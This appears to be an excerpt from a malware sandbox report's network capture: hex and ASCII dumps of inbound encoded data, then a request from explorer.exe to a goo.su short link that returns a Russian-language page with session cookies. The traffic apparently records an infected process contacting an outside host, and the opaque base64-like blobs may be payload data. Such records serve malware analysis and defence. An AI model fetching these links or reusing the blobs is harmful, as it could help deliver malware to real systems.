Ascii: NHc3dGhCUzOZdJJPGfMgOiJllsMSXMg1tsfR2oFmYv04CHYUmgAstFNEn8gPqAO3+x2SAdx0LRQVZnjZAiPKFjGMRARKO2Fyu4Y4c67xPR+bLmgQ07AeIG5eXMnAt64
2022-01-14 03:59:13 UTC	274	IN	Data Raw: 00 45 00 50 00 45 00 4a 00 37 00 39 00 78 00 76 00 55 00 42 00 52 00 6c 00 6f 00 6a 00 6a 00 61 00 47 00 63 00 43 00 78 00 59 00 2f 00 50 00 54 00 74 00 5a 00 50 00 45 00 38 00 44 00 70 00 64 00 71 00 50 00 2f 00 4d 00 51 00 69 00 38 00 4d 00 32 00 52 00 59 00 34 00 77 00 2b 00 62 00 4b 00 63 00 4a 00 43 00 58 00 4d 00 33 00 43 00 5a 00 65 00 7a 00 37 00 54 00 51 00 31 00 54 00 6b 00 35 00 45 00 57 00 41 00 45 00 59 00 2b 00 75 00 30 00 61 00 4e 00 43 00 47 00 63 00 38 00 76 00 67 00 57 00 53 00 39 00 36 00 6a 00 61 00 56 00 4b 00 4d 00 4c 00 30 00 2b 00 61 00 4f 00 35 00 54 00 71 00 4f 00 43 00 6f 00 64 00 48 00 2f 00 58 00 2b 00 43 00 78 00 48 00 55 00 44 00 6b 00 63 00 4d 00 4b 00 47 00 45 00 4f 00 4c 00 5a 00 70 00 2f 00 33 00 67 00 2b 00 46 00 6a 00 Data Ascii: EPEJ79xvUBRlojjaGcCxY/PTtZPE8DpdqP/MQi8M2RY4w+bKcJCXM3CZez7TQ1Tk5EWAEY+u0aNCGc8vgWS96jaVKML0+aO5TqOCodH/X+CxHUDkcMKGEOLZp/3g+Fj
2022-01-14 03:59:13 UTC	290	IN	Data Raw: 00 50 00 45 00 2b 00 6c 00 72 00 64 00 61 00 32 00 31 00 73 00 55 00 71 00 4c 00 47 00 61 00 70 00 48 00 48 00 4e 00 76 00 54 00 42 00 4c 00 66 00 7a 00 58 00 35 00 56 00 64 00 61 00 72 00 65 00 6c 00 6c 00 50 00 52 00 39 00 57 00 79 00 6f 00 4d 00 49 00 56 00 4c 00 48 00 65 00 55 00 48 00 75 00 33 00 43 00 35 00 48 00 78 00 6d 00 2b 00 77 00 6b 00 50 00 34 00 6c 00 6c 00 41 00 36 00 41 00 62 00 4f 00 41 00 52 00 4a 00 46 00 74 00 6b 00 76 00 68 00 78 00 48 00 46 00 6e 00 75 00 75 00 56 00 30 00 61 00 34 00 66 00 32 00 6b 00 32 00 7a 00 4e 00 2b 00 37 00 57 00 71 00 64 00 30 00 6b 00 35 00 33 00 31 00 42 00 71 00 65 00 45 00 31 00 5a 00 50 00 34 00 54 00 43 00 63 00 38 00 51 00 54 00 31 00 35 00 4b 00 76 00 42 00 44 00 4e 00 73 00 55 00 39 00 57 00 2b 00 Data Ascii: PE+lrda21sUqLGapHHNvTBLfzX5VdarellPR9WyoMIVLHeUHu3C5Hxm+wkP4llA6AbOARJFtkvhxHFnuuV0a4f2k2zN+7Wqd0k531BqeE1ZP4TCc8QT15KvBDNsU9W+
2022-01-14 03:59:13 UTC	306	IN	Data Raw: 00 37 00 38 00 53 00 6a 00 63 00 74 00 73 00 57 00 68 00 72 00 46 00 44 00 57 00 34 00 69 00 51 00 78 00 37 00 63 00 4e 00 79 00 44 00 62 00 31 00 41 00 38 00 34 00 43 00 2f 00 68 00 74 00 54 00 2b 00 6a 00 67 00 70 00 52 00 55 00 4c 00 75 00 51 00 75 00 6c 00 34 00 79 00 52 00 36 00 4e 00 4e 00 32 00 50 00 4c 00 44 00 4d 00 31 00 79 00 43 00 68 00 42 00 4d 00 66 00 46 00 64 00 65 00 32 00 43 00 43 00 46 00 69 00 4e 00 43 00 61 00 4f 00 38 00 43 00 52 00 74 00 79 00 6e 00 54 00 64 00 36 00 4e 00 77 00 52 00 6e 00 5a 00 74 00 74 00 6e 00 64 00 51 00 6a 00 54 00 5a 00 33 00 79 00 44 00 50 00 4f 00 44 00 32 00 59 00 73 00 33 00 5a 00 37 00 41 00 35 00 7a 00 2b 00 44 00 71 00 6d 00 69 00 44 00 64 00 4f 00 31 00 62 00 31 00 4c 00 75 00 55 00 66 00 33 00 54 00 Data Ascii: 78SjctsWhrFDW4iQx7cNyDb1A84C/htT+jgpRULuQul4yR6NN2PLDM1yChBMfFde2CCFiNCaO8CRtynTd6NwRnZttndQjTZ3yDPOD2Ys3Z7A5z+DqmiDdO1b1LuUf3T
2022-01-14 03:59:13 UTC	322	IN	Data Raw: 00 73 00 4a 00 6d 00 74 00 75 00 74 00 4a 00 58 00 32 00 64 00 71 00 57 00 6b 00 69 00 52 00 69 00 37 00 63 00 34 00 48 00 6c 00 45 00 75 00 50 00 70 00 43 00 78 00 75 00 52 00 31 00 47 00 70 00 46 00 70 00 39 00 36 00 45 00 69 00 67 00 7a 00 62 00 47 00 63 00 7a 00 61 00 69 00 4b 00 54 00 66 00 38 00 37 00 34 00 73 00 73 00 42 00 30 00 46 00 6e 00 44 00 64 00 70 00 32 00 68 00 31 00 38 00 57 00 4a 00 42 00 38 00 6a 00 72 00 33 00 75 00 2f 00 2f 00 43 00 59 00 6f 00 42 00 49 00 62 00 41 00 50 00 46 00 42 00 58 00 4f 00 6f 00 4c 00 7a 00 63 00 69 00 7a 00 67 00 6e 00 4d 00 4a 00 66 00 41 00 69 00 6f 00 4a 00 31 00 51 00 64 00 4a 00 45 00 6a 00 58 00 6a 00 4b 00 59 00 68 00 77 00 55 00 57 00 2f 00 73 00 53 00 42 00 41 00 6a 00 76 00 34 00 51 00 54 00 76 00 Data Ascii: sJmtutJX2dqWkiRi7c4HlEuPpCxuR1GpFp96EigzbGczaiKTf874ssB0FnDdp2h18WJB8jr3u//CYoBIbAPFBXOoLzcizgnMJfAioJ1QdJEjXjKYhwUW/sSBAjv4QTv
2022-01-14 03:59:13 UTC	338	IN	Data Raw: 00 34 00 48 00 55 00 63 00 6e 00 4f 00 68 00 65 00 73 00 46 00 30 00 66 00 4a 00 46 00 41 00 68 00 50 00 6a 00 31 00 36 00 7a 00 6b 00 36 00 49 00 5a 00 4f 00 4e 00 68 00 44 00 63 00 4b 00 79 00 62 00 53 00 38 00 59 00 6c 00 47 00 57 00 75 00 37 00 31 00 70 00 2f 00 70 00 6b 00 31 00 63 00 67 00 65 00 48 00 54 00 45 00 72 00 55 00 34 00 76 00 61 00 75 00 33 00 4b 00 6e 00 33 00 42 00 6b 00 33 00 59 00 4f 00 4a 00 6f 00 67 00 74 00 4e 00 6d 00 64 00 72 00 59 00 6b 00 30 00 2b 00 48 00 57 00 35 00 6d 00 31 00 46 00 77 00 47 00 70 00 4d 00 4d 00 62 00 31 00 6a 00 63 00 51 00 4a 00 79 00 31 00 4e 00 46 00 64 00 66 00 74 00 62 00 47 00 74 00 64 00 34 00 39 00 45 00 77 00 37 00 44 00 34 00 4f 00 62 00 6d 00 35 00 45 00 63 00 72 00 45 00 34 00 34 00 33 00 6c 00 Data Ascii: 4HUcnOhesF0fJFAhPj16zk6IZONhDcKybS8YlGWu71p/pk1cgeHTErU4vau3Kn3Bk3YOJogtNmdrYk0+HW5m1FwGpMMb1jcQJy1NFdftbGtd49Ew7D4Obm5EcrE443l
2022-01-14 03:59:13 UTC	354	IN	Data Raw: 00 39 00 67 00 49 00 74 00 72 00 4c 00 50 00 50 00 37 00 58 00 36 00 52 00 52 00 7a 00 59 00 75 00 4f 00 59 00 75 00 33 00 66 00 58 00 74 00 58 00 61 00 32 00 47 00 6d 00 2f 00 48 00 66 00 70 00 34 00 2b 00 56 00 49 00 39 00 36 00 68 00 31 00 6f 00 4e 00 50 00 4a 00 42 00 49 00 70 00 35 00 79 00 63 00 39 00 6d 00 48 00 46 00 54 00 58 00 6d 00 64 00 6b 00 31 00 67 00 76 00 64 00 4a 00 30 00 71 00 65 00 49 00 6c 00 78 00 56 00 77 00 5a 00 63 00 70 00 69 00 4e 00 34 00 35 00 31 00 36 00 77 00 35 00 79 00 48 00 4f 00 74 00 72 00 77 00 78 00 58 00 73 00 63 00 79 00 72 00 6c 00 5a 00 2f 00 34 00 2f 00 41 00 4c 00 6d 00 4c 00 77 00 66 00 67 00 4a 00 6a 00 46 00 30 00 58 00 35 00 6d 00 73 00 36 00 63 00 34 00 38 00 4b 00 56 00 55 00 63 00 43 00 65 00 4c 00 71 00 Data Ascii: 9gItrLPP7X6RRzYuOYu3fXtXa2Gm/Hfp4+VI96h1oNPJBIp5yc9mHFTXmdk1gvdJ0qeIlxVwZcpiN4516w5yHOtrwxXscyrlZ/4/ALmLwfgJjF0X5ms6c48KVUcCeLq
2022-01-14 03:59:13 UTC	370	IN	Data Raw: 00 70 00 42 00 49 00 4a 00 55 00 6e 00 65 00 33 00 39 00 64 00 68 00 79 00 34 00 74 00 2f 00 6e 00 78 00 59 00 64 00 6d 00 61 00 4d 00 6f 00 33 00 79 00 43 00 65 00 30 00 31 00 69 00 70 00 2b 00 34 00 48 00 76 00 79 00 4a 00 74 00 32 00 76 00 69 00 67 00 78 00 4e 00 51 00 4c 00 77 00 72 00 33 00 33 00 51 00 6d 00 6a 00 59 00 45 00 31 00 43 00 67 00 53 00 46 00 4f 00 31 00 6d 00 70 00 61 00 2b 00 59 00 75 00 4e 00 4f 00 34 00 62 00 33 00 38 00 57 00 34 00 70 00 38 00 68 00 2f 00 38 00 7a 00 32 00 64 00 39 00 4f 00 47 00 50 00 69 00 7a 00 6f 00 77 00 77 00 6b 00 4e 00 45 00 73 00 33 00 37 00 57 00 56 00 69 00 52 00 52 00 37 00 41 00 37 00 2b 00 57 00 61 00 50 00 63 00 63 00 76 00 54 00 4c 00 57 00 4e 00 75 00 35 00 7a 00 64 00 4f 00 4f 00 48 00 2f 00 68 00 Data Ascii: pBIJUne39dhy4t/nxYdmaMo3yCe01ip+4HvyJt2vigxNQLwr33QmjYE1CgSFO1mpa+YuNO4b38W4p8h/8z2d9OGPizowwkNEs37WViRR7A7+WaPccvTLWNu5zdOOH/h
2022-01-14 03:59:13 UTC	386	IN	Data Raw: 00 37 00 46 00 56 00 56 00 57 00 74 00 55 00 77 00 79 00 32 00 54 00 4f 00 55 00 51 00 7a 00 78 00 54 00 38 00 78 00 7a 00 39 00 48 00 42 00 66 00 62 00 77 00 6e 00 57 00 2f 00 32 00 2f 00 6f 00 66 00 75 00 44 00 34 00 64 00 74 00 35 00 41 00 50 00 65 00 53 00 58 00 61 00 33 00 59 00 4a 00 53 00 4d 00 4a 00 56 00 53 00 71 00 52 00 64 00 6a 00 4c 00 4b 00 42 00 48 00 52 00 44 00 66 00 7a 00 41 00 72 00 49 00 34 00 35 00 43 00 70 00 30 00 62 00 4c 00 4a 00 79 00 5a 00 48 00 2b 00 31 00 30 00 4a 00 37 00 39 00 6b 00 30 00 76 00 4f 00 4c 00 64 00 78 00 4b 00 4a 00 44 00 42 00 4f 00 76 00 6b 00 56 00 31 00 53 00 63 00 52 00 35 00 4a 00 42 00 71 00 6f 00 79 00 45 00 4c 00 77 00 6b 00 4b 00 6c 00 72 00 53 00 6e 00 30 00 63 00 72 00 5a 00 38 00 2b 00 74 00 70 00 Data Ascii: 7FVVWtUwy2TOUQzxT8xz9HBfbwnW/2/ofuD4dt5APeSXa3YJSMJVSqRdjLKBHRDfzArI45Cp0bLJyZH+10J79k0vOLdxKJDBOvkV1ScR5JBqoyELwkKlrSn0crZ8+tp
2022-01-14 03:59:13 UTC	402	IN	Data Raw: 00 35 00 52 00 4c 00 69 00 6c 00 68 00 54 00 47 00 39 00 50 00 2b 00 4f 00 30 00 70 00 78 00 6c 00 65 00 66 00 6e 00 30 00 31 00 67 00 34 00 47 00 41 00 2b 00 6a 00 7a 00 45 00 45 00 6e 00 4c 00 72 00 66 00 44 00 2f 00 43 00 78 00 53 00 74 00 41 00 4a 00 35 00 38 00 50 00 33 00 58 00 30 00 78 00 45 00 79 00 46 00 4e 00 74 00 65 00 33 00 77 00 35 00 54 00 67 00 6d 00 49 00 4e 00 5a 00 6c 00 76 00 61 00 59 00 4e 00 30 00 63 00 41 00 30 00 6f 00 64 00 31 00 2f 00 46 00 47 00 4e 00 59 00 64 00 76 00 4e 00 59 00 78 00 78 00 74 00 73 00 52 00 41 00 4e 00 33 00 75 00 61 00 50 00 6b 00 38 00 55 00 59 00 6d 00 6f 00 68 00 62 00 63 00 64 00 4c 00 70 00 6c 00 49 00 55 00 39 00 6a 00 36 00 69 00 35 00 51 00 75 00 46 00 48 00 6f 00 6a 00 44 00 32 00 39 00 45 00 48 00 Data Ascii: 5RLilhTG9P+O0pxlefn01g4GA+jzEEnLrfD/CxStAJ58P3X0xEyFNte3w5TgmINZlvaYN0cA0od1/FGNYdvNYxxtsRAN3uaPk8UYmohbcdLplIU9j6i5QuFHojD29EH
2022-01-14 03:59:13 UTC	418	IN	Data Raw: 00 7a 00 38 00 6a 00 62 00 4d 00 45 00 53 00 56 00 32 00 6f 00 4d 00 49 00 64 00 57 00 57 00 7a 00 39 00 57 00 72 00 79 00 68 00 2b 00 79 00 72 00 56 00 7a 00 67 00 68 00 53 00 6d 00 34 00 39 00 43 00 51 00 70 00 62 00 4d 00 49 00 53 00 4e 00 58 00 39 00 71 00 6e 00 69 00 6c 00 67 00 34 00 6d 00 69 00 6b 00 37 00 34 00 62 00 79 00 52 00 4f 00 2f 00 48 00 54 00 6d 00 68 00 6f 00 46 00 50 00 53 00 4d 00 78 00 31 00 66 00 6f 00 59 00 58 00 6c 00 78 00 4b 00 48 00 69 00 79 00 67 00 62 00 7a 00 47 00 6b 00 69 00 30 00 54 00 72 00 45 00 4b 00 42 00 31 00 35 00 75 00 67 00 43 00 4a 00 59 00 75 00 30 00 6d 00 4c 00 48 00 67 00 74 00 6e 00 55 00 4c 00 69 00 55 00 2b 00 4a 00 56 00 30 00 46 00 61 00 5a 00 33 00 53 00 39 00 56 00 4e 00 72 00 69 00 51 00 6a 00 54 00 Data Ascii: z8jbMESV2oMIdWWz9Wryh+yrVzghSm49CQpbMISNX9qnilg4mik74byRO/HTmhoFPSMx1foYXlxKHiygbzGki0TrEKB15ugCJYu0mLHgtnULiU+JV0FaZ3S9VNriQjT
2022-01-14 03:59:13 UTC	434	IN	Data Raw: 00 68 00 30 00 41 00 2f 00 43 00 38 00 6c 00 64 00 52 00 74 00 6f 00 49 00 58 00 6c 00 67 00 2f 00 37 00 46 00 41 00 6d 00 6e 00 66 00 32 00 65 00 4c 00 6e 00 45 00 70 00 52 00 49 00 31 00 30 00 30 00 33 00 49 00 6a 00 43 00 43 00 35 00 59 00 5a 00 4d 00 74 00 35 00 63 00 76 00 36 00 34 00 52 00 65 00 64 00 46 00 30 00 4c 00 51 00 62 00 73 00 31 00 6b 00 41 00 69 00 7a 00 35 00 51 00 2f 00 30 00 51 00 62 00 4e 00 45 00 75 00 34 00 72 00 52 00 43 00 61 00 46 00 72 00 43 00 41 00 44 00 45 00 39 00 32 00 66 00 44 00 68 00 58 00 58 00 61 00 51 00 56 00 4d 00 31 00 2b 00 68 00 54 00 4b 00 51 00 47 00 4c 00 47 00 30 00 63 00 41 00 70 00 5a 00 35 00 4f 00 35 00 34 00 69 00 79 00 76 00 34 00 71 00 73 00 67 00 6a 00 79 00 6b 00 4a 00 76 00 46 00 4a 00 58 00 53 00 Data Ascii: h0A/C8ldRtoIXlg/7FAmnf2eLnEpRI1003IjCC5YZMt5cv64RedF0LQbs1kAiz5Q/0QbNEu4rRCaFrCADE92fDhXXaQVM1+hTKQGLG0cApZ5O54iyv4qsgjykJvFJXS
2022-01-14 03:59:13 UTC	450	IN	Data Raw: 00 6d 00 74 00 30 00 41 00 61 00 44 00 56 00 61 00 57 00 58 00 2b 00 2f 00 43 00 61 00 71 00 51 00 61 00 52 00 50 00 78 00 78 00 34 00 50 00 4b 00 4b 00 6a 00 77 00 45 00 56 00 64 00 70 00 58 00 51 00 68 00 4a 00 70 00 65 00 7a 00 7a 00 31 00 7a 00 75 00 6a 00 64 00 45 00 6f 00 67 00 55 00 4d 00 72 00 62 00 6d 00 33 00 7a 00 35 00 75 00 35 00 47 00 75 00 2b 00 65 00 50 00 52 00 57 00 7a 00 41 00 65 00 37 00 4a 00 66 00 58 00 6a 00 61 00 32 00 48 00 48 00 41 00 6c 00 58 00 4f 00 46 00 49 00 30 00 6d 00 49 00 2b 00 4d 00 58 00 57 00 75 00 6e 00 39 00 52 00 72 00 6a 00 6d 00 79 00 45 00 67 00 51 00 45 00 5a 00 74 00 7a 00 6d 00 31 00 73 00 63 00 73 00 75 00 64 00 57 00 39 00 62 00 49 00 45 00 57 00 7a 00 31 00 50 00 39 00 6f 00 62 00 64 00 59 00 68 00 31 00 Data Ascii: mt0AaDVaWX+/CaqQaRPxx4PKKjwEVdpXQhJpezz1zujdEogUMrbm3z5u5Gu+ePRWzAe7JfXja2HHAlXOFI0mI+MXWun9RrjmyEgQEZtzm1scsudW9bIEWz1P9obdYh1
2022-01-14 03:59:13 UTC	466	IN	Data Raw: 00 43 00 68 00 70 00 39 00 42 00 4a 00 36 00 72 00 6f 00 30 00 47 00 37 00 50 00 72 00 31 00 74 00 33 00 79 00 79 00 68 00 48 00 51 00 78 00 5a 00 52 00 6e 00 69 00 63 00 75 00 52 00 5a 00 67 00 56 00 50 00 47 00 78 00 6e 00 5a 00 52 00 58 00 32 00 77 00 51 00 44 00 76 00 2b 00 44 00 74 00 48 00 4f 00 39 00 31 00 64 00 30 00 66 00 4a 00 70 00 69 00 75 00 6e 00 66 00 69 00 55 00 73 00 6f 00 54 00 39 00 4e 00 78 00 2f 00 35 00 5a 00 6c 00 61 00 66 00 4d 00 57 00 4a 00 38 00 61 00 38 00 36 00 39 00 4b 00 50 00 68 00 61 00 54 00 45 00 75 00 76 00 58 00 67 00 2b 00 6c 00 4b 00 36 00 77 00 61 00 76 00 56 00 61 00 4b 00 6f 00 75 00 63 00 52 00 6a 00 72 00 71 00 61 00 4d 00 48 00 52 00 44 00 58 00 6a 00 64 00 34 00 59 00 37 00 4a 00 73 00 75 00 4e 00 4c 00 48 00 Data Ascii: Chp9BJ6ro0G7Pr1t3yyhHQxZRnicuRZgVPGxnZRX2wQDv+DtHO91d0fJpiunfiUsoT9Nx/5ZlafMWJ8a869KPhaTEuvXg+lK6wavVaKoucRjrqaMHRDXjd4Y7JsuNLH
2022-01-14 03:59:13 UTC	482	IN	Data Raw: 00 77 00 4c 00 35 00 35 00 6c 00 49 00 56 00 6d 00 55 00 54 00 6d 00 4e 00 73 00 76 00 56 00 71 00 78 00 52 00 52 00 52 00 47 00 37 00 45 00 62 00 77 00 57 00 69 00 32 00 4f 00 62 00 38 00 52 00 31 00 37 00 47 00 79 00 36 00 6c 00 65 00 7a 00 79 00 44 00 71 00 33 00 34 00 61 00 74 00 4a 00 4a 00 42 00 75 00 2b 00 55 00 64 00 50 00 36 00 37 00 44 00 47 00 56 00 55 00 47 00 6d 00 36 00 66 00 33 00 4e 00 50 00 37 00 6f 00 35 00 71 00 66 00 76 00 62 00 4b 00 50 00 47 00 45 00 55 00 79 00 4c 00 62 00 4e 00 56 00 77 00 6e 00 73 00 43 00 75 00 61 00 73 00 32 00 42 00 58 00 37 00 72 00 72 00 41 00 33 00 68 00 4c 00 74 00 55 00 6b 00 34 00 32 00 2f 00 65 00 53 00 7a 00 4a 00 31 00 59 00 4d 00 4d 00 77 00 58 00 52 00 74 00 4b 00 7a 00 69 00 70 00 51 00 71 00 62 00 Data Ascii: wL55lIVmUTmNsvVqxRRRG7EbwWi2Ob8R17Gy6lezyDq34atJJBu+UdP67DGVUGm6f3NP7o5qfvbKPGEUyLbNVwnsCuas2BX7rrA3hLtUk42/eSzJ1YMMwXRtKzipQqb
2022-01-14 03:59:13 UTC	498	IN	Data Raw: 00 70 00 74 00 4d 00 50 00 4b 00 4c 00 4d 00 56 00 31 00 59 00 51 00 30 00 4e 00 79 00 6d 00 58 00 36 00 4c 00 51 00 6e 00 45 00 41 00 57 00 35 00 58 00 50 00 6e 00 64 00 66 00 4d 00 73 00 54 00 62 00 46 00 34 00 33 00 71 00 38 00 52 00 42 00 42 00 44 00 34 00 6d 00 66 00 43 00 54 00 39 00 6b 00 7a 00 39 00 54 00 56 00 4b 00 30 00 4c 00 71 00 4d 00 45 00 51 00 33 00 4a 00 6b 00 42 00 7a 00 49 00 46 00 36 00 6f 00 55 00 43 00 7a 00 45 00 57 00 48 00 2b 00 38 00 4f 00 56 00 56 00 37 00 6f 00 70 00 33 00 59 00 69 00 71 00 4f 00 48 00 50 00 6b 00 64 00 48 00 71 00 53 00 55 00 64 00 2b 00 4a 00 4b 00 71 00 42 00 5a 00 7a 00 55 00 43 00 51 00 51 00 72 00 30 00 31 00 79 00 4b 00 75 00 5a 00 4d 00 44 00 36 00 53 00 2b 00 69 00 39 00 36 00 39 00 76 00 76 00 63 00 Data Ascii: ptMPKLMV1YQ0NymX6LQnEAW5XPndfMsTbF43q8RBBD4mfCT9kz9TVK0LqMEQ3JkBzIF6oUCzEWH+8OVV7op3YiqOHPkdHqSUd+JKqBZzUCQQr01yKuZMD6S+i969vvc
2022-01-14 03:59:13 UTC	514	IN	Data Raw: 00 5a 00 35 00 50 00 33 00 55 00 55 00 32 00 6d 00 7a 00 63 00 31 00 7a 00 75 00 44 00 64 00 62 00 73 00 61 00 51 00 51 00 58 00 35 00 49 00 59 00 56 00 61 00 53 00 59 00 50 00 71 00 61 00 62 00 73 00 64 00 6e 00 32 00 78 00 30 00 50 00 44 00 55 00 32 00 5a 00 44 00 38 00 4f 00 75 00 77 00 65 00 6b 00 49 00 6d 00 53 00 57 00 68 00 43 00 74 00 74 00 48 00 67 00 49 00 57 00 4b 00 51 00 38 00 2b 00 63 00 51 00 58 00 34 00 43 00 74 00 58 00 33 00 4c 00 4f 00 66 00 51 00 73 00 79 00 6e 00 34 00 64 00 42 00 75 00 48 00 37 00 53 00 6d 00 6a 00 71 00 67 00 4c 00 73 00 77 00 4c 00 54 00 45 00 52 00 50 00 50 00 69 00 71 00 65 00 69 00 42 00 32 00 32 00 68 00 4f 00 48 00 45 00 66 00 2b 00 52 00 6a 00 2b 00 2b 00 4a 00 77 00 64 00 4d 00 55 00 48 00 68 00 6e 00 32 00 Data Ascii: Z5P3UU2mzc1zuDdbsaQQX5IYVaSYPqabsdn2x0PDU2ZD8OuwekImSWhCttHgIWKQ8+cQX4CtX3LOfQsyn4dBuH7SmjqgLswLTERPPiqeiB22hOHEf+Rj++JwdMUHhn2

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.3	49858	172.67.139.105	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
2022-01-14 03:59:42 UTC	526	OUT	GET /abhF HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: goo.su
2022-01-14 03:59:42 UTC	526	IN	HTTP/1.1 200 OK Date: Fri, 14 Jan 2022 03:59:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close vary: Accept-Encoding x-powered-by: PHP/7.2.21 cache-control: private, must-revalidate pragma: no-cache expires: -1 set-cookie: XSRF-TOKEN=eyJpdiI6IkJ2NGhxc1pwR2pKcnJNem5qMEo0QXc9PSIsInZhbHVlIjoiaU8zS3htbkhDYzVOVlJmR0xxazVMVkZRS3d3ZWdYR2dzdFZPRXpEbGZuRXBCZGl2NWM0WEpGQW1FdFFtWW9lMSIsIm1hYyI6ImU1NTJiNzZkNDFkMTU1MGI1YWZkNjc0NTA5ZTBjZWQ3NWNkZmQyZDg0YTE2ZjIxZjQwYTBmMzZjMGNjMDNjN2YifQ%3D%3D; expires=Fri, 14-Jan-2022 22:39:42 GMT; Max-Age=67200; path=/ set-cookie: goosu_session=eyJpdiI6IlBDS3dRY2wzWEZDXC9tUzlXeVBCdUN3PT0iLCJ2YWx1ZSI6InR1MnNkYnpwWjZmRE54Q3FtYzVwOWtybmt4M0orNkE0cDM5QWNMaEJORWtqTzZpc2k0eSs0NUorZW5iUlEzUVMiLCJtYWMiOiIwMTcyMzU2OTU5OTdlNDc1YzVkY2MxZDViZjkwMjZiZTg4OTgzZDUxYWM4ZjRiMjY0NTcxZjgzZGI5MjY3MGE0In0%3D; expires=Fri, 14-Jan-2022 22:39:42 GMT; Max-Age=67200; path=/; httponly CF-Cache-Status: DYNAMIC Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=QA5cZVCVi5uOUC%2FxzuRaIOv40nYFUqzqTo2%2Br3L%2F0tyQ1U4vvUfNyIpTe7hnE05vLY91evQV3c3%2FC3hMpxfTlGCSOpNfmMfvVyEJoKyR%2FfrIDxg75DeUYj8%3D"}],"group":"cf-nel","max_age":604800}
2022-01-14 03:59:42 UTC	528	IN	Data Raw: 4e 45 4c 3a 20 7b 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2c 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 36 63 64 33 66 34 30 30 66 39 66 34 30 30 38 64 2d 4c 48 52 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 2c 20 68 33 2d 32 39 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 2c 20 68 33 2d 32 38 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 2c 20 68 33 2d 32 37 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6cd3f400f9f4008d-LHRalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
2022-01-14 03:59:42 UTC	528	IN	Data Raw: 32 31 32 65 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 72 75 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 22 3e 0a 3c 74 69 74 6c 65 3e d0 9f d1 80 d0 be d0 b8 d1 81 d1 85 d0 be d0 b4 d0 b8 d1 82 20 d0 bf d0 b5 d1 80 d0 b5 d0 bd d0 b0 d0 bf d1 80 d0 b0 d0 b2 d0 bb d0 b5 d0 bd d0 b8 d0 b5 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 0a 0a 3c 6c 69 6e 6b 20 68 Data Ascii: 212e<!doctype html><html lang="ru"><head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><meta name="robots" content="noindex"><title> ...</title><link h
2022-01-14 03:59:42 UTC	529	IN	Data Raw: 2d 62 6f 74 74 6f 6d 3a 20 33 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 2e 62 6f 72 64 65 72 65 64 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 65 65 65 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 68 33 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 73 68 61 64 6f 77 3a 20 30 70 78 20 31 70 Data Ascii: -bottom: 30px; } .bordered { border: 1px solid #eee; padding: 10px; } h3 { font-size: 24px; text-align: center; font-weight: 400; text-shadow: 0px 1p
